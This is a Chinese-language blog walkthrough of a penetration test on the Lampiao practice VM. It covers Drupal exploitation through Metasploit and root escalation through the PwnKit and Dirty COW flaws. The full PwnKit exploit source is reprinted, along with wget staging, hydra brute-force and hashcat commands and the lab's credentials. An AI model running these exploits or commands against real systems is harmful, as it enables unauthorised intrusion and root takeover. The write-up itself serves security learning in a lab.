Lampiao靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。

本次靶机的难度相对简单【有些内容不再赘述如若不清楚可参考我在CSDN上写的DC系列的靶机】但是我自己做的时候没用到脏牛,后面看了别的师傅的文章才知道有这么一个东西(黑脸)。因此这里先讲一下我自己的思路,后面再补充脏牛解法。


信息搜集

扫一下:

nmap -sn 10.144.71.0/24

nmap -sV -p- 10.144.71.124

image

开了两个http的端口,默认80的没啥东西,访问1898端口:

image

如果是从DC系列打上来的话应该都不陌生,没有给更加具体的版本号,尝试whatweb识别也没识别出来,那先dirsearch扫一下:

dirsearch -u http://10.144.71.124:1898/  

image

有这么一个changelog文件,看一眼:

image

竟然是版本更新日志,既然这样我们就知道了当前Drupal版本号为7.54,搜一下有无历史漏洞:https://www.exploit-db.com/exploits/44449
直接是CVE2018,当时打DC-1的时候也是用的这个,直接上了MSF。

但是既然也打了挺多台的,总不能还是直接一把梭,网站四处转了一下发现URL有点像SQL注入,但是尝试了一下没有啥结果。

然后因为是登录界面,想用admin爆破发现有个提示:
- The username _admin_ has not been activated or is blocked.

直接被ban了,想上cewl但是有个问题是账户不知道是啥(后面看了别的师傅写的就是我很绷不住的地方),因此这里思路就断了。


获取shell

那就上MSF,具体不多讲了:

msfconsole

search drupal

use 1

set rhosts http://10.144.71.124:1898/

run

shell

(Poc原理的话就是通过控制数组键名执行任意命令,具体要讲的话我现在水平也不够,网上找找吧,后面水平上去了肯定是逃避不了的┭┮﹏┭┮)

连上之后换成交互式:

python -c 'import pty; pty.spawn("/bin/bash")'

提权

pkexec SUID利用

sudo -l 要密码,换成SUID:

find / -perm -4000 -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

image

一眼万年,/usr/bin/pkexec 是 Linux 系统里一个用于以其他用户(通常是 root)身份执行命令的工具,属于 PolicyKit(polkit) 权限管理框架的核心组件,常被用来替代 sudo 做更细粒度的权限控制。

pkexecLinux 提权高频考点,尤其在 CVE-2021-4034(PwnKit) 漏洞爆出来后:

  1. 本地提权漏洞(PwnKit)

    • 影响几乎所有主流 Linux 发行版(CentOS、Ubuntu、Debian 等)
    • 任何本地用户(即使无 sudo 权限)都能利用 pkexec 直接拿到 root 权限
    • 利用方式简单,有大量现成 EXP
  2. SUID 提权检查点

    • 检查是否有 SUID 权限:ls -l /usr/bin/pkexec
    • 正常权限:-rwsr-xr-x(有 s 位)
    • 若存在且系统未打补丁,大概率可一键提权

那就看一眼版本:

pkexec --version

pkexec version 0.105

搜一下是CVE-2021-4034 PolKit本地提权,searchsploit一下:

searchsploit --cve 2021-4034

image

这里没有直接编译好的,只有个txt,复制到本地看一眼:

searchsploit -m 50689.txt 
 
cat 50689.txt

具体内容如下,总的来说就是三部分,可以分成三个文件上传,会自动进行编译:

# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
        gcc -shared -o evil.so -fPIC evil-so.c
        gcc exploit.c -o exploit

clean:
        rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

#################

可以直接wget,但是我想nano手搓喵~:

先是Makefile:

all: gcc -shared -o evil.so -fPIC evil-so.c gcc exploit.c -o exploit clean: rm -rf ./GCONV_PATH=. ./evildir exploit evil.so

然后evil-so.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

最后是exploit.c

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

接着是开http传文件了,依旧是/tmp目录:

python3 -m http.server 8000

cd /tmp

wget http://10.144.71.177:8000/Makefile

wget http://10.144.71.177:8000/evil-so.c

wget http://10.144.71.177:8000/exploit.c

./exploit

image

成功提权,查看flag:

image


脏牛提权

定义和利用点

接下来就是脏牛提权【CVE2016-5195】了,首先得知道是啥,Gemini给出的解释如下:

要理解脏牛,首先要理解什么是 COW

正常流程: 当一个进程想要修改一个只读的共享内存页面时,内核不会让它直接修改原件。相反,内核会:

  1. 为该进程复制一个该页面的副本。

  2. 让进程去修改这个副本

  3. 这样,原件(只读文件)就不会受到影响。

脏牛的利用点: 脏牛漏洞本质上是一个竞态条件(Race Condition)

攻击者通过运行两个相互竞争的线程,在内核处理 COW 的过程中制造“混乱”:

  1. 线程 A:告诉内核“我不需要这个内存副本了”(使用 madvise(MADV_DONTNEED))。

  2. 线程 B:尝试向这个只读内存写入数据。

由于内核在处理这两个请求时存在逻辑漏洞,如果时机抓得极其精准,内核可能会在还没来得及完成“复制副本”的操作时,就被误导,直接把数据写到了原件(只读文件)所在的物理内存上。

为什么它很危险

虽然它是一个本地提权漏洞(意味着攻击者必须先通过 SSH、Web 壳或物理接触进入系统),但它的威力巨大:

  • 无视权限:它可以让普通用户修改本该只有 root 才能修改的文件。例如,攻击者可以直接修改 /etc/passwd,把自己的 UID 改成 0(root 权限)。

  • 极高稳定性:利用代码非常小且运行极其稳定,不容易导致系统崩溃。

  • 难以检测:它不利用缓冲区溢出,不破坏堆栈,只是在“合法地利用内核机制”,因此传统的防御手段很难捕捉到它。

searchsploit找一下脏牛提权:

searchsploit --cve 2016-5195

image

翻译一下:

  1. 40616.c → SUID 方法,麻烦,不推荐
  2. 40847.cpp → C++ 版本,需要 g++ 编译
  3. 40838.c → 只是写文件,不直接提权
  4. **40839.c → /etc/passwd 方法,一键 root
  5. 40611.c → 只是写文件,不直接提权

40839.c 编译

这里我刚开始采用40839.c进行编译:

searchsploit -m 40839

然后转到MSF连上的www-data里面:

#先开个http
python3 -m http.server 8000

#转www-data
cd /tmp
wget http://10.144.71.177:8000/40839.c

然后进行编译:

gcc -pthread 40839.c -o dirty

chmod +x dirty

这里有疑问的点是这个gcc后面的参数是啥意思:

**-pthread **

  • pthread = POSIX Threads

  • 作用:启用多线程支持

  • 为什么脏牛必须加?

    → 脏牛是竞态条件漏洞

    → 需要同时开很多线程疯狂读写内存

    → 不加这个参数 → 编译失败 / 提权失败

总结:-pthread = 让程序支持多线程

但是报错了:

image

这里就是代码里用到了 crypt () 加密函数,但编译器找不到这个函数的实现:

  • crypt() 是 Linux 用来加密密码的函数(存 /etc/passwd 用的)
  • 这个函数不在标准 C 库,在单独的库:libcrypt
  • 编译器默认不会链接它,所以报错

如果我们仍要用c文件编译的话得在后面加一个:

gcc -pthread 40839.c -o dirty -lcrypt

chmod +x dirty

./dirty

然后会让我们输入新密码:

image

这样就是在root组新增了一个用户firefart,之后可以通过su直接拿到root,但是有个问题是运行之后炸机了,直接假死。然后我具体看了一下这个exp:

翻译下:
// 这个 exploit 基于 dirtycow 漏洞的 pokemon 版本修改而成 
// 它会自动生成一行新的 /etc/passwd 内容 
// 运行程序时,会提示你输入新密码 
// 原始的 /etc/passwd 文件会备份到/tmp/passwd.bak 
// 然后用生成的新行覆盖 root 账户 
// 运行完 exploit 后,你就可以用新建的用户登录了 
// 使用方法:根据需要修改用户名 
// 默认用户名是 "firefart"

(这里也提到了手动加库)

image

然后是移动路径:

DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd

但是这里是直接炸机了,然后重启之后在/tmp目录下的东西也不见了,su不了。所以这个exp用不了得换一个


40847.cpp 编译

看别的师傅用的是40847,然后exp开头给了编译指令:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
  • g++ → 编译 C++
  • -pthread → 多线程(脏牛核心)
  • -o dcow → 输出名字
  • -lutil → 依赖库

那么编译之后再运行:

./dcow

image

得到了一个root的passwddirtyCowFun 直接切root不行,而最开始扫端口的时候还有个SSH,尝试这个进行连接:

ssh root@10.144.71.124

image

成功拿到root权限~


我看网上别的师傅用cewl生成字典进行爆破,但是那个用户名就很抽象,感觉跟DC系列其中的一个有点像,都涉及到了社工....这个账户名就是作者:tiago

之后便是正常的流程了:

cewl http://10.144.71.124:1898/ -w 1.txt

hydra -l tiago -P 1.txt 10.144.71.124 ssh

得到结果如下,登录之后按正常流程走即可:

tiago

Virgulino

拓展

依旧看Drupal后台的账户密码,数据库配置路径默认如下:
/var/www/html/sites/default/settings.php

看一眼mysql的数据库账户密码:

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'Virgulino',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

登录MySQL:

mysql -u drupaluser -pVirgulino

成功进入之后便是看库看表啥的了(具体不放图了:

show databases;

use drupal;

show tables;

select * from users;

得到了三个账户的密码:

tiago:$S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnOAlpmT0TJ9Sx8

Eder:$S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY

admin:$S$DSJg6H6WTM35Ae5UwFF8pBYqxQXxFMXsYAM55PRF.Bcpdh3paKUj

后面是用hashcat尝试爆破:

nano 2.txt

$S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnOAlpmT0TJ9Sx8
$S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY
$S$DSJg6H6WTM35Ae5UwFF8pBYqxQXxFMXsYAM55PRF.Bcpdh3paKUj

hashcat -m 7900 -a 0 2.txt /usr/share/wordlists/rockyou.txt -w 3

可能有师傅对hashcat的命令参数不是很清楚,这里有个表格:

参数 含义 详细说明
-m 7900 Hash 类型(Mode) 指定要破解的是 Drupal 7 的密码哈希。 7900 就是 hashcat 内置的 Drupal7 模式(使用 SHA512 + 16384 次迭代 + salt)。 这是 Lampiao 靶机里数据库哈希对应的正确模式。
-a 0 攻击模式(Attack mode) 0 = 字典攻击(Straight / Wordlist attack) 意思是:直接用单词表里的每一个密码去尝试匹配哈希。 这是最常用、最基础的攻击方式。
2.txt 哈希文件(Hash file) 存放我们要破解的哈希的文本文件。 注意:文件里每行必须是纯哈希(不能带用户名: 之类的),否则会报 Token length exception。
/usr/share/wordlists/rockyou.txt 字典文件(Wordlist) 告诉 hashcat 用 rockyou.txt 这个超大常用密码字典去尝试。 Kali 自带的经典弱密码字典,包含几百万条常见密码。
-w 3 工作负载 / 性能模式(Workload Profile) 3 = High(高负载模式) 数值范围:1~4 • 1 = Low(低) • 2 = Medium(中) • 3 = High(高) ← 推荐 • 4 = Nightmare(极高,速度最快但系统会很卡) 越高越充分利用CPU/GPU,但会让机器更热、更卡。

![[Pasted image 20260409161804.png]]

吓哭了,rockyou太大了,估计也爆破不出来,如果有师傅有兴趣的话可以换字典或者工具,有结果的话欢迎私信讨论。【本来我想尝试爆破出来之后能不能直接登录web端或者是SSH的,但是尝试了tiago的web登录发现不行,估计剩下两个也不行】


总结

最后再回顾一下:

首先还是扫描同一网段的存活主机,登录界面后识别CMS看是否有漏洞

在web端尝试弱口令爆破,SQL注入无果后扫描是否还有隐藏路径,发现更新日志中泄露了版本信息

通过MSF拿到shell,之后结合SUID或者脏牛进行进一步提权,最后拿到我们的flag

回顾整个流程我们可以发现此次靶机是重新巩固一下整个渗透流程【问AI如何学渗透的话大部分应该都是从DC系列开始的,不会是单打一个靶机】并且学习到了一个经典的提权手段。

下一次打靶应该是Kioptrix系列,期待师傅们的阅读.

posted @ 2026-04-09 18:45  ShoreKiten  阅读(19)  评论(0)    收藏  举报